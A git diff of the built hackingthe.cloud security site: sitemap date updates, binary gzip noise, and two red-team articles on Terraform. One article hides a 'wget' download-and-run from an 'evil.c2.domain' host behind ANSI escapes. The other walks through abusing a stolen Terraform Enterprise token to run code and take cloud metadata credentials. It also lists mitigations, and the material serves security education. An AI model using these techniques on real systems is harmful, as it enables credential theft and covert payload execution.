curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://<TFE Instance>/api/v2/organizations/<Organization ID>/workspaces | jq\n

"},{"location":"terraform/terraform_enterprise_metadata_service/#configure-the-remote-backend","title":"Configure the Remote Backend","text":"

Now that we have the organization and workspace id's from the previous step, we can configure the remote backend. To do this, you can use this example as a template with one exception. We will add a hostname value which is the hostname of the Terraform Enterprise instance. You can store this in a file named backend_config.tf. backend_config.tf

terraform {\n  backend \"remote\" {\n    hostname = \"{{TFE_HOSTNAME}}\"\n    organization = \"{{ORGANIZATION_NAME}}\"\n\n    workspaces {\n      name = \"{{WORKSPACE_NAME}}\"\n    }\n  }\n}\n

"},{"location":"terraform/terraform_enterprise_metadata_service/#initialize-the-backend","title":"Initialize the Backend","text":"

With the backend configuration file created we can initialize the backend with the following command.

terraform init --backend-config=\"token=$TFE_TOKEN\"\n

If everything has worked as it should, you should get a Terraform has been successfully initialized notification. To test this, you can perform a terraform state list to list the various state objects.

"},{"location":"terraform/terraform_enterprise_metadata_service/#executing-code","title":"Executing Code","text":"

Now that our backend has been properly configured and we can access the remote state, we can attempt to execute code. There are several ways this can be done (such as using a local-exec provisioner) however, for our purposes we will be using the External Provider.

\"external is a special provider that exists to provide an interface between Terraform and external programs\".

What this means is that we can execute code during the Terraform plan or apply operations by specifying a program or script to run.

To do this, we will create an external provider in our existing backend_config.tf file (if you already have an existing Terraform project you can add this block to those existing files).

backend_config.tf
...\n\ndata \"external\" \"external_provider\" {\n    program = [\"python3\", \"wrapper.py\"]\n}\n\noutput \"external_provider_example\" {\n    value = data.external.external_provider\n}\n

You may be wondering what the wrapper.py file is. In order to use the external provider, we must \"implement a specific protocol\" (source), which is JSON. To do this, we will wrap the result of the code execution in JSON so it can be returned.

Note

The wrapper script is not strictly required if you aren't interested in getting the output. If your goal is simply to execute a C2 payload, you can include the binary in the project directory and then execute it.

Wrapping the output in JSON allows us to get the response output.

Our wrapper script looks like the following (feel free to change to your needs).

wrapper.py
import json\nimport os\n\nstream = os.popen('id')\noutput = stream.read()\nresult = { \"result\" : output }\n\nprint(json.dumps(result))\n
"},{"location":"terraform/terraform_enterprise_metadata_service/#terraform-plan","title":"Terraform Plan","text":"

Now that the wrapper script is created (and modified), we can execute code via terraform plan. This is a non-destructive action, which will evaluate our local configuration vs's the remote state. In addition, it will execute our remote provider and return the result to us.

Warning

Upon executing terraform plan you may encounter errors for various reasons depending upon the remote state. Those errors will need to be handled on a case by case basis. Typically this involves modifying your .tf files to suit the remote state. This can typically be figured out based on the results of terraform state pull.

From here, we can modify our wrapper script to do a variety of things such as (the purpose of this article) reaching out to the metadata service and pulling those credentials.

Note

The results of this run are logged elsewhere. Please do not leak secrets or other sensitive information to parties who do not have a need for the information. A more efficient method would be to use a C2 platform such as Mythic (or even just a TLS encrypted reverse shell) to exfiltrate the credentials.

"}]} \ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml index cffc9772d..232926f5f 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -2,357 +2,362 @@ https://hackingthe.cloud/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/capture_the_flag/cicdont/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/deprecated/whoami/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/enumeration/whoami/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ - 2024-08-04 + 2024-08-09 + daily + + + https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/azure/abusing-managed-identities/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/azure/anonymous-blob-access/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/azure/enum_email_addresses/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/azure/soft-deleted-blobs/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/blog/2022_wrap-up/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/blog/2023_wrap-up/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/blog/v2_new_look/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/gcp/general-knowledge/default-account-names/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ - 2024-08-04 + 2024-08-09 daily https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ - 2024-08-04 + 2024-08-09 daily \ No newline at end of file diff --git a/sitemap.xml.gz b/sitemap.xml.gz index 91cbdd67463f189b1dcc57a085068e9e10870762..17dffd7ac55d4c61e3808a5ac4f6980c47d7c586 100644 GIT binary patch literal 1360 zcmV-W1+V%aiwFn+T(xEb|8r?{Wo=<_E_iKh0Nq=`ZsRr(z3*29xid-!5lm{vo0#l?ddpvM zSWgbOH=nMbK3wsqJYYGhp9dfHQ+W#VW421~_;s{}8|`B@!^2Q6zrI@`P0>8v-QN8u zZa<3KPkhUI?$vF2tAd3w!IvkaoIgGcug)wmhBJ=;gh(B5Q2XeLTZ91uP3*71W|fS| zbQCiL0;C?HQ%pj8#|HF+p5O1rqj)hw$1pnEj{!)ayx74JMGnhpXf^P)nkgrcd{&NL z*+DyPVzc35U{0V_@n`iiZRHGUk`VILKIFqTs>wBqv$znFsu8TTjyaHYMvf`6d-Yw1 zsPSHIvfcr8fPIrP@eGVfgLG=DQSGo4ZtMa5aaM>@M;jbPnGuqFb)7E+O40XVigBnT zb0&$P6A(%lVggb|krIe$>;ZJ8XQvR6fLi(GLI>Ernl^@AT@@-DBADaUS)hCu!OnLxG2pPN zBT$^r$~DDow@dt&KIexFE7V1+P3X)PrT8)(l=Z#j$yh!&(?YB_E)Qeq+ z2M@+VIm>m|s^Gp>ub?zAs_dK9iD{xs#VYR!J;$I?ye(*K3U3VwwP z;_qy&ZeAHrq zgpw2N$mMQn7g5|nKMD0rpjfvj$N8!8LHf$V^t>L$lR;T9D+{Man=T9F5W{hb83hZt zjab5|S+sRe!LpXEj7bc&Vb@|DNz_Tnp-{ZrB2>m@2Y&mVJR~)XCfDmu81GxhxWAJD z4${ZCYY?K<^W{EEJ}GQe)C*qPmc6V=Y8o4be6a_r{e1Nv>}B(i^1kssfZxWxHjvH> z03F!zMjh)}cC^M{@LzV7);9Ke8&^a&fSQhvBJCb7d z+>a>;Iwwa*!P>Iy@j^;0l$#t2f|S%4)AVvARX|tg?95YluNv)Vy@$N~qfz3#gYZAJ SmDUHZDHUI#bznAp@ delta 1320 zcmV+@1=sq}3a$!&ABzYGfW)q50{?SqbY*Q}a4vXlYyjO`O>g5i5WVlO2z+OhCR<=z zBwnD0-U<{&dnRadM6;$yEoW%Q`|CTTiyx{m(h|~!Ob&Rg4MHnE^#QGX+ zR>_!5XE8&6AVBI7I>jWkcPv0Z==uF_Jd1Ba=om(4`w;*Mlotm$qsUuN)F8CdPm3FvYSa!xL2H!Cky3X3D>;J#$` z3)7V#DMpe^m7QOtU?;#n7Q+IGHJA!#L_uHaOb5_?QTpnyutSM~>z93`9yXm92lSUTDQ=^kD z0vUf76On*g`Q=6j*u9!|hE-iFR2D=q$EjYRd>6*fvzZvM+0+#%%IC^8#ccPB{TD;( zL5`Sael!?a?{k9XvL!P7fRfY!Dgiw@#U)G+((nQheE%S8=f>%U^Y`i^_#l?5k#pMY zS7`)1kIqx-ND9scshANHInHa+M~l4xrv!gYgo0(tJa@q;ekny`X;Nkmr}8(zn7NP_ zKPlv|zectq*9V#SXM#*`W^tV?(>jx>6wf*TUqvmczZBGxQbt;Zl_%$oR>^!TT^p6( z0#o(Unhx>g!B{AxoOi4W?rYTwN&}(-4Z>t25mIxgu$vq9?}+<}1U)=UzyXn&e=SZl3*{A1~+ zbgBQsVgGn7-`CurnwNW@Ufj)M(RT zfgEBuPcft50&XW3b7~fC-BVxoa+NWOp*E~qj3bHalxzw`yDdUxTz25M-^)`{vuJX^ z>Vom1b&SV*8Q>&+jE4pxT0LK%Gvq;GqoQ8$(!QMKOj6U>DCDa%K<&q?_h2uFXO#Di zpMm>(>}vx_Ud|(SAjg~PSkG{>qdo3||GKNRwy|H1F$Fa>>jBs3OK@B^A^XAn(m!=U z+8C{eWpkUqBPnLj{fL5~b8>VRTw9hiPDqIh

Article by Nick Frichette

Terraform ANSI Escape

Original Research: Joern Schneeweisz

When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.

Take for example the following Terraform code.

main.tf
resource "null_resource" "hypothetical_ec2_instance" {
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Terraform ANSI Escape

Original Research: Joern Schneeweisz

When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.

Take for example the following Terraform code.

main.tf
resource "null_resource" "hypothetical_ec2_instance" {
 }
 
 resource "null_resource" "blah" {
@@ -22,6 +22,6 @@
     command = "wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload; echo -e '\\033[2K \\033[A \\033[2K \\033[A \\033[2K \\033[A \\033[2K \\033[A \\033[2K \\033[A \\033[2K \\033[A'"
   }
 }
-

And this is the output:

Modified Output

\ No newline at end of file diff --git a/terraform/terraform_enterprise_metadata_service/index.html b/terraform/terraform_enterprise_metadata_service/index.html index e3800393d..97720f853 100644 --- a/terraform/terraform_enterprise_metadata_service/index.html +++ b/terraform/terraform_enterprise_metadata_service/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Terraform Enterprise: Attack the Metadata Service

Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.

If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.

"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data" (source)

Note

While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.

Remote (Code) Execution

For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a terraform apply or terraform plan all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)

An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in "disposable virtual machines". In Terraform Enterprise however, it takes place in "disposable Docker containers".

This introduces an interesting opportunity; If you compromise credentials to initiate a plan or apply operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.

Note

It is possible to disable Remote Execution via a configuration however this is discouraged. "Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications."

Docker Containers and Metadata Services

Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.

Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).

Attack Prevention

It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.

The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.

Note

Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.

Walkthrough

Warning

This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to Pull Requests!)

Note

If you already have a configured and initialized Terraform backend, you can skip to the Executing Code section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.

Acquire a Terraform API Token

To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the .atlasv1. substring in them.

As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in ~/.terraform.d/, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.

Identify the Organization and Workspace Names

With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.

curl -H "Authorization: Bearer $TFE_TOKEN" \
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Terraform Enterprise: Attack the Metadata Service

Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.

If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.

"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data" (source)

Note

While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.

Remote (Code) Execution

For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a terraform apply or terraform plan all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)

An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in "disposable virtual machines". In Terraform Enterprise however, it takes place in "disposable Docker containers".

This introduces an interesting opportunity; If you compromise credentials to initiate a plan or apply operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.

Note

It is possible to disable Remote Execution via a configuration however this is discouraged. "Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications."

Docker Containers and Metadata Services

Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.

Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).

Attack Prevention

It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.

The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.

Note

Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.

Walkthrough

Warning

This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to Pull Requests!)

Note

If you already have a configured and initialized Terraform backend, you can skip to the Executing Code section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.

Acquire a Terraform API Token

To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the .atlasv1. substring in them.

As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in ~/.terraform.d/, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.

Identify the Organization and Workspace Names

With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.

curl -H "Authorization: Bearer $TFE_TOKEN" \
 https://<TFE Instance>/api/v2/organizations | jq
 

Getting the Organization

Next, we need to identify a workspace we can use. Again, this can be quereyed using the organization id we gathered in the previous step.

curl -H "Authorization: Bearer $TFE_TOKEN" \
 https://<TFE Instance>/api/v2/organizations/<Organization ID>/workspaces | jq
@@ -39,6 +39,6 @@
 result = { "result" : output }
 
 print(json.dumps(result))
-

Terraform Plan

Now that the wrapper script is created (and modified), we can execute code via terraform plan. This is a non-destructive action, which will evaluate our local configuration vs's the remote state. In addition, it will execute our remote provider and return the result to us.

Code Execution Output

Warning

Upon executing terraform plan you may encounter errors for various reasons depending upon the remote state. Those errors will need to be handled on a case by case basis. Typically this involves modifying your .tf files to suit the remote state. This can typically be figured out based on the results of terraform state pull.

From here, we can modify our wrapper script to do a variety of things such as (the purpose of this article) reaching out to the metadata service and pulling those credentials.

Note

The results of this run are logged elsewhere. Please do not leak secrets or other sensitive information to parties who do not have a need for the information. A more efficient method would be to use a C2 platform such as Mythic (or even just a TLS encrypted reverse shell) to exfiltrate the credentials.

\ No newline at end of file

(F>)-^_E6)tT3Y?)Qw-Np7vG)fKD6Gam;m|6 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 